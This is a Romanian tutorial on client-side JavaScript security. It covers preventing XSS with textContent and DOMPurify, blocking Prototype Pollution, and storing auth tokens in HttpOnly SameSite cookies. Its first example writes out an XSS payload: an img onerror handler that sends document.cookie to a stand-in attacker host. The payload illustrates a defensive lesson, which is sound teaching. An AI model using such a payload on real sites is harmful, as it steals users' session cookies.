`Securitate pe Frontend: Prevenirea Atacurilor XSS, Prototype Pollution și CORS` în JavaScript

Fișiere și criptografie Frontend Security Best Practices

Ghidul complet de securitate pe client: eliminarea riscurilor XSS prin evitarea innerHTML și utilizarea DOMPurify, blocarea atacurilor de Prototype Pollution cu Object.freeze() și gestionarea sigură a token-urilor.

Sintaxă

DOMPurify.sanitize(), textContent vs innerHTML, Object.freeze, SameSite Cookies

Securitatea aplicațiilor frontend este prima linie de apărare împotriva furtului de date sensibile, deturnării sesiunilor de utilizator și atacurilor de tip XSS (Cross-Site Scripting) sau Prototype Pollution. O vulnerabilitate JavaScript pe client poate compromite întreaga bază de utilizatori, chiar dacă serverul backend este aparent securizat.

1. Prevenirea XSS prin evitarea innerHTML și utilizarea DOMPurify

// INTRARE DE LA UTILIZATOR (Comentariu malițios):
const comentariuUtilizator = '<img src="x" onerror="fetch(\'https://hacker.ro/fur?c=\'+document.cookie)">';

// PERICOL MAXIM (VULNERABIL LA XSS):
// document.getElementById('comentarii').innerHTML = comentariuUtilizator; // Scriptul se execută instant!

// METODA 1: Pentru text simplu (convertește totul în text sigur, fără execuție):
document.getElementById('comentarii').textContent = comentariuUtilizator;

// METODA 2: Dacă AI NEVOIE să permiți HTML bogat (bold, linkuri), sanitizează obligatoriu cu DOMPurify:
// import DOMPurify from 'dompurify';
const htmlCurat = DOMPurify.sanitize(comentariuUtilizator);
document.getElementById('comentarii').innerHTML = htmlCurat; // Tagul malitios onerror este eliminat!

2. Blocarea Atacurilor de Prototype Pollution

Prototype Pollution apare atunci când un script îmbină recursiv obiecte (deep merge) fără a filtra proprietățile magice __proto__ sau constructor.prototype, injectând proprietăți malițioase în toate obiectele din aplicație:

// Crearea unui dicționar sigur fără prototip (nu poate fi poluat!):
const dictionarSigur = Object.create(null);
dictionarSigur['__proto__'] = 'valoare'; // Nu afectează restul obiectelor din JavaScript!

// Sau înghețarea prototipului de bază în mediul de pornire:
Object.freeze(Object.prototype);

Unde stochezi în siguranță Token-urile de Autentificare (JWT)?

Locație de Stocare	Vulnerabilitate la XSS	Vulnerabilitate la CSRF	Recomandare de Securitate
`localStorage` / `sessionStorage`	MAXIMĂ: Orice script XSS injectat poate fura token-ul prin `localStorage.getItem()`.	Nu este afectat direct.	Nerecomandat pentru date sensibile de autentificare pe termen lung.
Cookie HTTP-Only cu SameSite	ZERO: JavaScript nu poate citi cookie-urile marcate `HttpOnly`.	Redusă complet prin `SameSite=Lax` sau `SameSite=Strict`.	Recomandarea oficială OWASP pentru sesiuni de utilizator.